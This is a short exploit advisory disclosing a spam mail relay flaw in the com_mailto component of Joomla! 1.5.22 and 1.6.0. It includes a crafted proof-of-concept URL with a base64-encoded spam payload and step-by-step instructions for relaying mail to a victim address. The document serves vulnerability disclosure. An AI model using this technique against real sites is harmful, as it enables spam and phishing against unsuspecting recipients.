Joomla! 1.5.22 / 1.6.0 - 'com_mailto' Spam Mail Relay

# Exploit Title: Joomla! Spam Mail Relay
# Date: 11 Jan 2011
# Author: Jeff Channell
# Software Link: http://www.joomla.org/
# Versions: 1.5.22, 1.6.0


Joomla! 1.5.22 & 1.6.0 both allow spam email to be relayed to 
unsuspecting victims via the core com_mailto component.

Tested using the following URL:

http://localhost/j/index.php?option=com_mailto&tmpl=component&template=beez_20&link=aHR0cDovL2xvY2FsaG9zdC9qL2luZGV4LnBocD94PXkgSGFpIEkgYW0gYSBzcGFtIG1lc3NhZ2UhIFdvdWxkIHlvdSBsaWtlIHRvIGJ1eSBhbGwgc29ydHMgb2YgZmFrZSBzdHVmZj8gU1BBTSBTUEFNIFNQQU0=

where parameter "link" is the base64_encoded string:

http://localhost/j/index.php?x=y Hai I am a spam message! Would you like 
to buy all sorts of fake stuff? SPAM SPAM SPAM

This is important as the domain at the beginning must match the domain 
being relayed against.

Now, fill out the form with victim email as "Email To" parameter & send.

These issues have been reported on each version's respective bug tracker:
Joomla! 1.6.0: 
http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&tracker_item_id=24288
Joomla! 1.5.22: 
http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&tracker_item_id=24289